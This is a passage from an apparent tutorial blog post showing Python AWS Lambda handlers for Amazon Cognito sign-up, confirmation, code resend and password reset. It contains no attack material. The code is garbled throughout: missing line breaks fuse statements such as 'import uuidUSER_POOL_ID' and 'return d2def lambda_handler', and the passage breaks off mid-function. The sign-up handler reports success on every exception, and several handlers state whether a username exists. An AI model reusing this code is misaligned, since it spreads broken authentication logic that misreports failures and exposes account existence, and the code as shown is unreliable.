    <span class="hljs-title">password</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>[<span class="hljs-string">'password'</span>]
    <span class="hljs-title">name</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>[<span class="hljs-string">"name"</span>]    <span class="hljs-title">client</span> <span class="hljs-operator">=</span> <span class="hljs-title">boto3</span>.<span class="hljs-title">client</span>(<span class="hljs-string">'cognito-idp'</span>)    <span class="hljs-title"><span class="hljs-keyword">try</span></span>:
        <span class="hljs-title">resp</span> <span class="hljs-operator">=</span> <span class="hljs-title">client</span>.<span class="hljs-title">sign_up</span>(
            <span class="hljs-title">ClientId</span><span class="hljs-operator">=</span><span class="hljs-title">CLIENT_ID</span>,
            <span class="hljs-title">SecretHash</span><span class="hljs-operator">=</span><span class="hljs-title">get_secret_hash</span>(<span class="hljs-title">username</span>),
            <span class="hljs-title">Username</span><span class="hljs-operator">=</span><span class="hljs-title">username</span>,
            <span class="hljs-title">Password</span><span class="hljs-operator">=</span><span class="hljs-title">password</span>, 
            <span class="hljs-title">UserAttributes</span><span class="hljs-operator">=</span>[
            {
                <span class="hljs-string">'Name'</span>: <span class="hljs-string">"name"</span>,
                <span class="hljs-string">'Value'</span>: <span class="hljs-title">name</span>
            },
            {
                <span class="hljs-string">'Name'</span>: <span class="hljs-string">"email"</span>,
                <span class="hljs-string">'Value'</span>: <span class="hljs-title">email</span>
            }
            ],
            <span class="hljs-title">ValidationData</span><span class="hljs-operator">=</span>[
                {
                <span class="hljs-string">'Name'</span>: <span class="hljs-string">"email"</span>,
                <span class="hljs-string">'Value'</span>: <span class="hljs-title">email</span>
            },
            {
                <span class="hljs-string">'Name'</span>: <span class="hljs-string">"custom:username"</span>,
                <span class="hljs-string">'Value'</span>: <span class="hljs-title">username</span>
            }])
    
    
    <span class="hljs-title">except</span> <span class="hljs-title">client</span>.<span class="hljs-title">exceptions</span>.<span class="hljs-title">UsernameExistsException</span> <span class="hljs-title"><span class="hljs-keyword">as</span></span> <span class="hljs-title">e</span>:
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">"error"</span>: <span class="hljs-title">False</span>, 
               <span class="hljs-string">"success"</span>: <span class="hljs-title">True</span>, 
               <span class="hljs-string">"message"</span>: <span class="hljs-string">"This username already exists"</span>, 
               <span class="hljs-string">"data"</span>: <span class="hljs-title">None</span>}    <span class="hljs-title">except</span> <span class="hljs-title">client</span>.<span class="hljs-title">exceptions</span>.<span class="hljs-title">InvalidPasswordException</span> <span class="hljs-title"><span class="hljs-keyword">as</span></span> <span class="hljs-title">e</span>:
        
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">"error"</span>: <span class="hljs-title">False</span>, 
               <span class="hljs-string">"success"</span>: <span class="hljs-title">True</span>, 
               <span class="hljs-string">"message"</span>: <span class="hljs-string">"Password should have Caps,\
                          Special chars, Numbers"</span>, 
               <span class="hljs-string">"data"</span>: <span class="hljs-title">None</span>}    <span class="hljs-title">except</span> <span class="hljs-title">client</span>.<span class="hljs-title">exceptions</span>.<span class="hljs-title">UserLambdaValidationException</span> <span class="hljs-title"><span class="hljs-keyword">as</span></span> <span class="hljs-title">e</span>:
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">"error"</span>: <span class="hljs-title">False</span>, 
               <span class="hljs-string">"success"</span>: <span class="hljs-title">True</span>, 
               <span class="hljs-string">"message"</span>: <span class="hljs-string">"Email already exists"</span>, 
               <span class="hljs-string">"data"</span>: <span class="hljs-title">None</span>}
    
    <span class="hljs-title">except</span> <span class="hljs-title">Exception</span> <span class="hljs-title"><span class="hljs-keyword">as</span></span> <span class="hljs-title">e</span>:
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">"error"</span>: <span class="hljs-title">False</span>, 
                <span class="hljs-string">"success"</span>: <span class="hljs-title">True</span>, 
                <span class="hljs-string">"message"</span>: <span class="hljs-title">str</span>(<span class="hljs-title">e</span>), 
               <span class="hljs-string">"data"</span>: <span class="hljs-title">None</span>}
    
    <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">"error"</span>: <span class="hljs-title">False</span>, 
            <span class="hljs-string">"success"</span>: <span class="hljs-title">True</span>, 
            <span class="hljs-string">"message"</span>: <span class="hljs-string">"Please confirm your signup, \
                        check Email for validation code"</span>, 
            <span class="hljs-string">"data"</span>: <span class="hljs-title">None</span>}
</code></pre><p>*Note: this exception (UserLambdaValidationException) will be raised by another pre-sign up lambda function which will check if the same email exists in cognito or not. I will explain this in another post.</p><h1 id="h-lambda-confirm-sign-up" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Lambda: Confirm Sign up</h1><p>If a user is a new registration, She/He will be asked to verify her/his email id through a verification code sent on her/his registered email id.</p><pre data-type="codeBlock" text="import json
import boto3
import botocore.exceptions
import hmac
import hashlib
import base64
import uuidUSER_POOL_ID = &apos;&lt;your user pool id&gt;&apos;
CLIENT_ID = &apos;&lt;your client id&gt;&apos;
CLIENT_SECRET =&apos;&lt;your client secret&gt;&apos;def get_secret_hash(username):
    msg = username + CLIENT_ID
    dig = hmac.new(str(CLIENT_SECRET).encode(&apos;utf-8&apos;), 
        msg = str(msg).encode(&apos;utf-8&apos;), digestmod=hashlib.sha256).digest()
    d2 = base64.b64encode(dig).decode()
    return d2def lambda_handler(event, context):
    client = boto3.client(&apos;cognito-idp&apos;)    try:
        username = event[&apos;username&apos;]
        password = event[&apos;password&apos;]
        code = event[&apos;code&apos;]        response = client.confirm_sign_up(
        ClientId=CLIENT_ID,
        SecretHash=get_secret_hash(username),
        Username=username,
        ConfirmationCode=code,
        ForceAliasCreation=False,       )
    except client.exceptions.UserNotFoundException:
        #return {&quot;error&quot;: True, &quot;success&quot;: False, &quot;message&quot;: &quot;Username doesnt exists&quot;}
        return event    except client.exceptions.CodeMismatchException:
        return {&quot;error&quot;: True, &quot;success&quot;: False, &quot;message&quot;: &quot;Invalid Verification code&quot;}
        
    except client.exceptions.NotAuthorizedException:
        return {&quot;error&quot;: True, &quot;success&quot;: False, &quot;message&quot;: &quot;User is already confirmed&quot;}
    
    except Exception as e:
        return {&quot;error&quot;: True, &quot;success&quot;: False, &quot;message&quot;: f&quot;Unknown error {e.__str__()} &quot;}
      
    return event
"><code><span class="hljs-keyword">import</span> <span class="hljs-title">json</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">boto3</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">botocore</span>.<span class="hljs-title">exceptions</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">hmac</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">hashlib</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">base64</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">uuidUSER_POOL_ID</span> <span class="hljs-operator">=</span> <span class="hljs-string">'&#x3C;your user pool id>'</span>
<span class="hljs-title">CLIENT_ID</span> <span class="hljs-operator">=</span> <span class="hljs-string">'&#x3C;your client id>'</span>
<span class="hljs-title">CLIENT_SECRET</span> <span class="hljs-operator">=</span><span class="hljs-string">'&#x3C;your client secret>'</span><span class="hljs-title">def</span> <span class="hljs-title">get_secret_hash</span>(<span class="hljs-title">username</span>):
    <span class="hljs-title"><span class="hljs-built_in">msg</span></span> <span class="hljs-operator">=</span> <span class="hljs-title">username</span> <span class="hljs-operator">+</span> <span class="hljs-title">CLIENT_ID</span>
    <span class="hljs-title">dig</span> <span class="hljs-operator">=</span> <span class="hljs-title">hmac</span>.<span class="hljs-title"><span class="hljs-keyword">new</span></span>(<span class="hljs-title">str</span>(<span class="hljs-title">CLIENT_SECRET</span>).<span class="hljs-title">encode</span>(<span class="hljs-string">'utf-8'</span>), 
        <span class="hljs-title"><span class="hljs-built_in">msg</span></span> <span class="hljs-operator">=</span> <span class="hljs-title">str</span>(<span class="hljs-title"><span class="hljs-built_in">msg</span></span>).<span class="hljs-title">encode</span>(<span class="hljs-string">'utf-8'</span>), <span class="hljs-title">digestmod</span><span class="hljs-operator">=</span><span class="hljs-title">hashlib</span>.<span class="hljs-title"><span class="hljs-built_in">sha256</span></span>).<span class="hljs-title">digest</span>()
    <span class="hljs-title">d2</span> <span class="hljs-operator">=</span> <span class="hljs-title">base64</span>.<span class="hljs-title">b64encode</span>(<span class="hljs-title">dig</span>).<span class="hljs-title">decode</span>()
    <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title">d2def</span> <span class="hljs-title">lambda_handler</span>(<span class="hljs-title"><span class="hljs-keyword">event</span></span>, <span class="hljs-title">context</span>):
    <span class="hljs-title">client</span> <span class="hljs-operator">=</span> <span class="hljs-title">boto3</span>.<span class="hljs-title">client</span>(<span class="hljs-string">'cognito-idp'</span>)    <span class="hljs-title"><span class="hljs-keyword">try</span></span>:
        <span class="hljs-title">username</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>[<span class="hljs-string">'username'</span>]
        <span class="hljs-title">password</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>[<span class="hljs-string">'password'</span>]
        <span class="hljs-title">code</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>[<span class="hljs-string">'code'</span>]        <span class="hljs-title">response</span> <span class="hljs-operator">=</span> <span class="hljs-title">client</span>.<span class="hljs-title">confirm_sign_up</span>(
        <span class="hljs-title">ClientId</span><span class="hljs-operator">=</span><span class="hljs-title">CLIENT_ID</span>,
        <span class="hljs-title">SecretHash</span><span class="hljs-operator">=</span><span class="hljs-title">get_secret_hash</span>(<span class="hljs-title">username</span>),
        <span class="hljs-title">Username</span><span class="hljs-operator">=</span><span class="hljs-title">username</span>,
        <span class="hljs-title">ConfirmationCode</span><span class="hljs-operator">=</span><span class="hljs-title">code</span>,
        <span class="hljs-title">ForceAliasCreation</span><span class="hljs-operator">=</span><span class="hljs-title">False</span>,       )
    <span class="hljs-title">except</span> <span class="hljs-title">client</span>.<span class="hljs-title">exceptions</span>.<span class="hljs-title">UserNotFoundException</span>:
        #<span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">"error"</span>: <span class="hljs-title">True</span>, <span class="hljs-string">"success"</span>: <span class="hljs-title">False</span>, <span class="hljs-string">"message"</span>: <span class="hljs-string">"Username doesnt exists"</span>}
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>    <span class="hljs-title">except</span> <span class="hljs-title">client</span>.<span class="hljs-title">exceptions</span>.<span class="hljs-title">CodeMismatchException</span>:
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">"error"</span>: <span class="hljs-title">True</span>, <span class="hljs-string">"success"</span>: <span class="hljs-title">False</span>, <span class="hljs-string">"message"</span>: <span class="hljs-string">"Invalid Verification code"</span>}
        
    <span class="hljs-title">except</span> <span class="hljs-title">client</span>.<span class="hljs-title">exceptions</span>.<span class="hljs-title">NotAuthorizedException</span>:
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">"error"</span>: <span class="hljs-title">True</span>, <span class="hljs-string">"success"</span>: <span class="hljs-title">False</span>, <span class="hljs-string">"message"</span>: <span class="hljs-string">"User is already confirmed"</span>}
    
    <span class="hljs-title">except</span> <span class="hljs-title">Exception</span> <span class="hljs-title"><span class="hljs-keyword">as</span></span> <span class="hljs-title">e</span>:
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">"error"</span>: <span class="hljs-title">True</span>, <span class="hljs-string">"success"</span>: <span class="hljs-title">False</span>, <span class="hljs-string">"message"</span>: <span class="hljs-title">f</span><span class="hljs-string">"Unknown error {e.__str__()} "</span>}
      
    <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>
</code></pre><h1 id="h-lambda-resend-verification-code" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Lambda: Resend Verification code</h1><p>The verification is valid only for 24 hours, Let’s say the user missed that window to confirm her/his registration, then he can request the verification code again from Cognito.</p><pre data-type="codeBlock" text="import json
import boto3
import botocore.exceptions
import hmac
import hashlib
import base64
import uuidUSER_POOL_ID = &apos;&lt;your user pool id&gt;&apos;
CLIENT_ID = &apos;&lt;your client id&gt;&apos;
CLIENT_SECRET =&apos;&lt;your client secret&gt;&apos;def get_secret_hash(username):
    msg = username + CLIENT_ID
    dig = hmac.new(str(CLIENT_SECRET).encode(&apos;utf-8&apos;), 
        msg = str(msg).encode(&apos;utf-8&apos;),
        digestmod=hashlib.sha256).digest()
    d2 = base64.b64encode(dig).decode()
    return d2def lambda_handler(event, context):
    client = boto3.client(&apos;cognito-idp&apos;)    try:
        username = event[&apos;username&apos;]        response = client.resend_confirmation_code(
        ClientId=CLIENT_ID,
        SecretHash=get_secret_hash(username),
        Username=username,
    )
    except client.exceptions.UserNotFoundException:
        return {&quot;error&quot;: True, &quot;success&quot;: False, &quot;message&quot;:   &quot;Username doesnt exists&quot;}
        
    except client.exceptions.InvalidParameterException:
        return {&quot;error&quot;: True, &quot;success&quot;: False, &quot;message&quot;: &quot;User is already confirmed&quot;}
    
    except Exception as e:
        return {&quot;error&quot;: True, &quot;success&quot;: False, &quot;message&quot;: f&quot;Unknown error {e.__str__()} &quot;}
      
    return  {&quot;error&quot;: False, &quot;success&quot;: True}
"><code><span class="hljs-keyword">import</span> <span class="hljs-title">json</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">boto3</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">botocore</span>.<span class="hljs-title">exceptions</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">hmac</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">hashlib</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">base64</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">uuidUSER_POOL_ID</span> <span class="hljs-operator">=</span> <span class="hljs-string">'&#x3C;your user pool id>'</span>
<span class="hljs-title">CLIENT_ID</span> <span class="hljs-operator">=</span> <span class="hljs-string">'&#x3C;your client id>'</span>
<span class="hljs-title">CLIENT_SECRET</span> <span class="hljs-operator">=</span><span class="hljs-string">'&#x3C;your client secret>'</span><span class="hljs-title">def</span> <span class="hljs-title">get_secret_hash</span>(<span class="hljs-title">username</span>):
    <span class="hljs-title"><span class="hljs-built_in">msg</span></span> <span class="hljs-operator">=</span> <span class="hljs-title">username</span> <span class="hljs-operator">+</span> <span class="hljs-title">CLIENT_ID</span>
    <span class="hljs-title">dig</span> <span class="hljs-operator">=</span> <span class="hljs-title">hmac</span>.<span class="hljs-title"><span class="hljs-keyword">new</span></span>(<span class="hljs-title">str</span>(<span class="hljs-title">CLIENT_SECRET</span>).<span class="hljs-title">encode</span>(<span class="hljs-string">'utf-8'</span>), 
        <span class="hljs-title"><span class="hljs-built_in">msg</span></span> <span class="hljs-operator">=</span> <span class="hljs-title">str</span>(<span class="hljs-title"><span class="hljs-built_in">msg</span></span>).<span class="hljs-title">encode</span>(<span class="hljs-string">'utf-8'</span>),
        <span class="hljs-title">digestmod</span><span class="hljs-operator">=</span><span class="hljs-title">hashlib</span>.<span class="hljs-title"><span class="hljs-built_in">sha256</span></span>).<span class="hljs-title">digest</span>()
    <span class="hljs-title">d2</span> <span class="hljs-operator">=</span> <span class="hljs-title">base64</span>.<span class="hljs-title">b64encode</span>(<span class="hljs-title">dig</span>).<span class="hljs-title">decode</span>()
    <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title">d2def</span> <span class="hljs-title">lambda_handler</span>(<span class="hljs-title"><span class="hljs-keyword">event</span></span>, <span class="hljs-title">context</span>):
    <span class="hljs-title">client</span> <span class="hljs-operator">=</span> <span class="hljs-title">boto3</span>.<span class="hljs-title">client</span>(<span class="hljs-string">'cognito-idp'</span>)    <span class="hljs-title"><span class="hljs-keyword">try</span></span>:
        <span class="hljs-title">username</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>[<span class="hljs-string">'username'</span>]        <span class="hljs-title">response</span> <span class="hljs-operator">=</span> <span class="hljs-title">client</span>.<span class="hljs-title">resend_confirmation_code</span>(
        <span class="hljs-title">ClientId</span><span class="hljs-operator">=</span><span class="hljs-title">CLIENT_ID</span>,
        <span class="hljs-title">SecretHash</span><span class="hljs-operator">=</span><span class="hljs-title">get_secret_hash</span>(<span class="hljs-title">username</span>),
        <span class="hljs-title">Username</span><span class="hljs-operator">=</span><span class="hljs-title">username</span>,
    )
    <span class="hljs-title">except</span> <span class="hljs-title">client</span>.<span class="hljs-title">exceptions</span>.<span class="hljs-title">UserNotFoundException</span>:
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">"error"</span>: <span class="hljs-title">True</span>, <span class="hljs-string">"success"</span>: <span class="hljs-title">False</span>, <span class="hljs-string">"message"</span>:   <span class="hljs-string">"Username doesnt exists"</span>}
        
    <span class="hljs-title">except</span> <span class="hljs-title">client</span>.<span class="hljs-title">exceptions</span>.<span class="hljs-title">InvalidParameterException</span>:
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">"error"</span>: <span class="hljs-title">True</span>, <span class="hljs-string">"success"</span>: <span class="hljs-title">False</span>, <span class="hljs-string">"message"</span>: <span class="hljs-string">"User is already confirmed"</span>}
    
    <span class="hljs-title">except</span> <span class="hljs-title">Exception</span> <span class="hljs-title"><span class="hljs-keyword">as</span></span> <span class="hljs-title">e</span>:
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> {<span class="hljs-string">"error"</span>: <span class="hljs-title">True</span>, <span class="hljs-string">"success"</span>: <span class="hljs-title">False</span>, <span class="hljs-string">"message"</span>: <span class="hljs-title">f</span><span class="hljs-string">"Unknown error {e.__str__()} "</span>}
      
    <span class="hljs-title"><span class="hljs-keyword">return</span></span>  {<span class="hljs-string">"error"</span>: <span class="hljs-title">False</span>, <span class="hljs-string">"success"</span>: <span class="hljs-title">True</span>}
</code></pre><h1 id="h-lambda-forgot-password" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Lambda: Forgot Password</h1><p>Lambda function to send an email to the user, in case he forgets her/his password. Invocation of this lambda function will send a verification code to the email/phone number.</p><pre data-type="codeBlock" text="import json
import boto3
import botocore.exceptions
import hmac
import hashlib
import base64
import uuidUSER_POOL_ID = &apos;&lt;your user pool id&gt;&apos;
CLIENT_ID = &apos;&lt;your client id&gt;&apos;
CLIENT_SECRET =&apos;&lt;your client secret&gt;&apos;
def get_secret_hash(username):
    msg = username + CLIENT_ID
    dig = hmac.new(
          str(CLIENT_SECRET).encode(&apos;utf-8&apos;), 
          msg = str(msg).encode(&apos;utf-8&apos;),
          digestmod=hashlib.sha256).digest()
    d2 = base64.b64encode(dig).decode()
    return d2def lambda_handler(event, context):
    client = boto3.client(&apos;cognito-idp&apos;)    try:
        username = event[&apos;username&apos;]        response = client.forgot_password(
            ClientId=CLIENT_ID,
            SecretHash=get_secret_hash(username),
            Username=username,
            
        )    except client.exceptions.UserNotFoundException:
        return {&quot;error&quot;: True, 
                &quot;data&quot;: None, 
                &quot;success&quot;: False, 
                &quot;message&quot;: &quot;Username doesnt exists&quot;}
        
    except client.exceptions.InvalidParameterException:
        return {&quot;error&quot;: True, 
                &quot;success&quot;: False,
                &quot;data&quot;: None, 
              &quot;message&quot;: f&quot;User &lt;{username}&gt; is not confirmed yet&quot;}
    
    except client.exceptions.CodeMismatchException:
        return {&quot;error&quot;: True, 
                &quot;success&quot;: False, 
                &quot;data&quot;: None, 
                &quot;message&quot;: &quot;Invalid Verification code&quot;}
        
    except client.exceptions.NotAuthorizedException:
        return {&quot;error&quot;: True, 
                &quot;success&quot;: False,
                &quot;data&quot;: None, 
                &quot;message&quot;: &quot;User is already confirmed&quot;}
    
    except Exception as e:
        return {&quot;error&quot;: True, 
                &quot;success&quot;: False, 
                &quot;data&quot;: None, 
                &quot;message&quot;: f&quot;Uknown    error {e.__str__()} &quot;}
     
    return {
         &quot;error&quot;: False, 
         &quot;success&quot;: True, 
         &quot;message&quot;: f&quot;Please check your Registered email id for validation code&quot;,  
         &quot;data&quot;: None}
"><code><span class="hljs-keyword">import</span> json
<span class="hljs-keyword">import</span> boto3
<span class="hljs-keyword">import</span> botocore.exceptions
<span class="hljs-keyword">import</span> hmac
<span class="hljs-keyword">import</span> hashlib
<span class="hljs-keyword">import</span> base64
<span class="hljs-keyword">import</span> uuidUSER_POOL_ID = <span class="hljs-string">'&#x3C;your user pool id>'</span>
CLIENT_ID = <span class="hljs-string">'&#x3C;your client id>'</span>
CLIENT_SECRET =<span class="hljs-string">'&#x3C;your client secret>'</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">get_secret_hash</span>(<span class="hljs-params">username</span>):
    msg = username + CLIENT_ID
    dig = hmac.new(
          <span class="hljs-built_in">str</span>(CLIENT_SECRET).encode(<span class="hljs-string">'utf-8'</span>), 
          msg = <span class="hljs-built_in">str</span>(msg).encode(<span class="hljs-string">'utf-8'</span>),
          digestmod=hashlib.sha256).digest()
    d2 = base64.b64encode(dig).decode()
    <span class="hljs-keyword">return</span> d2def lambda_handler(event, context):
    client = boto3.client(<span class="hljs-string">'cognito-idp'</span>)    <span class="hljs-keyword">try</span>:
        username = event[<span class="hljs-string">'username'</span>]        response = client.forgot_password(
            ClientId=CLIENT_ID,
            SecretHash=get_secret_hash(username),
            Username=username,
            
        )    <span class="hljs-keyword">except</span> client.exceptions.UserNotFoundException:
        <span class="hljs-keyword">return</span> {<span class="hljs-string">"error"</span>: <span class="hljs-literal">True</span>, 
                <span class="hljs-string">"data"</span>: <span class="hljs-literal">None</span>, 
                <span class="hljs-string">"success"</span>: <span class="hljs-literal">False</span>, 
                <span class="hljs-string">"message"</span>: <span class="hljs-string">"Username doesnt exists"</span>}
        
    <span class="hljs-keyword">except</span> client.exceptions.InvalidParameterException:
        <span class="hljs-keyword">return</span> {<span class="hljs-string">"error"</span>: <span class="hljs-literal">True</span>, 
                <span class="hljs-string">"success"</span>: <span class="hljs-literal">False</span>,
                <span class="hljs-string">"data"</span>: <span class="hljs-literal">None</span>, 
              <span class="hljs-string">"message"</span>: <span class="hljs-string">f"User &#x3C;<span class="hljs-subst">{username}</span>> is not confirmed yet"</span>}
    
    <span class="hljs-keyword">except</span> client.exceptions.CodeMismatchException:
        <span class="hljs-keyword">return</span> {<span class="hljs-string">"error"</span>: <span class="hljs-literal">True</span>, 
                <span class="hljs-string">"success"</span>: <span class="hljs-literal">False</span>, 
                <span class="hljs-string">"data"</span>: <span class="hljs-literal">None</span>, 
                <span class="hljs-string">"message"</span>: <span class="hljs-string">"Invalid Verification code"</span>}
        
    <span class="hljs-keyword">except</span> client.exceptions.NotAuthorizedException:
        <span class="hljs-keyword">return</span> {<span class="hljs-string">"error"</span>: <span class="hljs-literal">True</span>, 
                <span class="hljs-string">"success"</span>: <span class="hljs-literal">False</span>,
                <span class="hljs-string">"data"</span>: <span class="hljs-literal">None</span>, 
                <span class="hljs-string">"message"</span>: <span class="hljs-string">"User is already confirmed"</span>}
    
    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
        <span class="hljs-keyword">return</span> {<span class="hljs-string">"error"</span>: <span class="hljs-literal">True</span>, 
                <span class="hljs-string">"success"</span>: <span class="hljs-literal">False</span>, 
                <span class="hljs-string">"data"</span>: <span class="hljs-literal">None</span>, 
                <span class="hljs-string">"message"</span>: <span class="hljs-string">f"Uknown    error <span class="hljs-subst">{e.__str__()}</span> "</span>}
     
    <span class="hljs-keyword">return</span> {
         <span class="hljs-string">"error"</span>: <span class="hljs-literal">False</span>, 
         <span class="hljs-string">"success"</span>: <span class="hljs-literal">True</span>, 
         <span class="hljs-string">"message"</span>: <span class="hljs-string">f"Please check your Registered email id for validation code"</span>,  
         <span class="hljs-string">"data"</span>: <span class="hljs-literal">None</span>}
</code></pre><h1 id="h-lambda-confirm-forgot-password" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Lambda: Confirm forgot password</h1><p>After the user receives a code on her/his email or phone number, a different lambda function needs invocation, to check the authenticity of the validation code. If the verification code is correct, the User password will be replaced with the new password.</p><pre data-type="codeBlock" text="import json
import boto3
import botocore.exceptions
import hmac
import hashlib
import base64
import uuidUSER_POOL_ID = &apos;&lt;your user pool id&gt;&apos;
CLIENT_ID = &apos;&lt;your client id&gt;&apos;
CLIENT_SECRET =&apos;&lt;your client secret&gt;&apos;def get_secret_hash(username):
    msg = username + CLIENT_ID
    dig = hmac.new(str(CLIENT_SECRET).encode(&apos;utf-8&apos;), 
        msg = str(msg).encode(&apos;utf-8&apos;),   digestmod=hashlib.sha256).digest()
    d2 = base64.b64encode(dig).decode()
    return d2def lambda_handler(event, context):
    client = boto3.client(&apos;cognito-idp&apos;)    try:
        username = event[&apos;username&apos;]
        password = event[&apos;password&apos;]
        code = event[&apos;code&apos;]        client.confirm_forgot_password(
            ClientId=CLIENT_ID,
            SecretHash=get_secret_hash(username),
            Username=username,
            ConfirmationCode=code,
            Password=password,
           )
    except client.exceptions.UserNotFoundException as e:
        return {&quot;error&quot;: True, 
                &quot;success&quot;: False,
                &quot;data&quot;:  None,
                &quot;message&quot;: &quot;Username doesnt exists&quot;}
        except client.exceptions.CodeMismatchException as e:
        return {&quot;error&quot;: True, 
               &quot;success&quot;: False,
               &quot;data&quot;: None,
               &quot;message&quot;: &quot;Invalid Verification code&quot;}
        
    except client.exceptions.NotAuthorizedException as e:
        return {&quot;error&quot;: True, 
                 &quot;success&quot;: False, 
                 &quot;data&quot;: None, 
                 &quot;message&quot;: &quot;User is already confirmed&quot;}
    
    except Exception as e:
        return {&quot;error&quot;: True, 
                &quot;success&quot;: False,
                &quot;data&quot;: None,
                &quot;message&quot;: f&quot;Unknown error {e.__str__()} &quot;}
      
    return {&quot;error&quot;: False, 
            &quot;success&quot;: True, 
            &quot;message&quot;: f&quot;Password has been changed successfully&quot;,
            &quot;data&quot;: None}
"><code><span class="hljs-keyword">import</span> <span class="hljs-title">json</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">boto3</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">botocore</span>.<span class="hljs-title">exceptions</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">hmac</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">hashlib</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">base64</span>
<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">uuidUSER_POOL_ID</span> <span class="hljs-operator">=</span> <span class="hljs-string">'&#x3C;your user pool id>'</span>
<span class="hljs-title">CLIENT_ID</span> <span class="hljs-operator">=</span> <span class="hljs-string">'&#x3C;your client id>'</span>
<span class="hljs-title">CLIENT_SECRET</span> <span class="hljs-operator">=</span><span class="hljs-string">'&#x3C;your client secret>'</span><span class="hljs-title">def</span> <span class="hljs-title">get_secret_hash</span>(<span class="hljs-title">username</span>):
    <span class="hljs-title"><span class="hljs-built_in">msg</span></span> <span class="hljs-operator">=</span> <span class="hljs-title">username</span> <span class="hljs-operator">+</span> <span class="hljs-title">CLIENT_ID</span>
    <span class="hljs-title">dig</span> <span class="hljs-operator">=</span> <span class="hljs-title">hmac</span>.<span class="hljs-title"><span class="hljs-keyword">new</span></span>(<span class="hljs-title">str</span>(<span class="hljs-title">CLIENT_SECRET</span>).<span class="hljs-title">encode</span>(<span class="hljs-string">'utf-8'</span>), 
        <span class="hljs-title"><span class="hljs-built_in">msg</span></span> <span class="hljs-operator">=</span> <span class="hljs-title">str</span>(<span class="hljs-title"><span class="hljs-built_in">msg</span></span>).<span class="hljs-title">encode</span>(<span class="hljs-string">'utf-8'</span>),   <span class="hljs-title">digestmod</span><span class="hljs-operator">=</span><span class="hljs-title">hashlib</span>.<span class="hljs-title"><span class="hljs-built_in">sha256</span></span>).<span class="hljs-title">digest</span>()
    <span class="hljs-title">d2</span> <span class="hljs-operator">=</span> <span class="hljs-title">base64</span>.<span class="hljs-title">b64encode</span>(<span class="hljs-title">dig</span>).<span class="hljs-title">decode</span>()
    <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title">d2def</span> <span class="hljs-title">lambda_handler</span>(<span class="hljs-title"><span class="hljs-keyword">event</span></span>, <span class="hljs-title">context</span>):
    <span class="hljs-title">client</span> <span class="hljs-operator">=</span> <span class="hljs-title">boto3</span>.<span class="hljs-title">client</span>(<span class="hljs-string">'cognito-idp'</span>)    <span class="hljs-title"><span class="hljs-keyword">try</span></span>:
        <span class="hljs-title">username</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>[<span class="hljs-string">'username'</span>]
        <span class="hljs-title">password</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>[<span class="hljs-string">'password'</span>]
        <span class="hljs-title">code</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>[<span class="hljs-string">'code'</span>]        <span class="hljs-title">client</span>.<span class="hljs-title">confirm_forgot_password</span>(
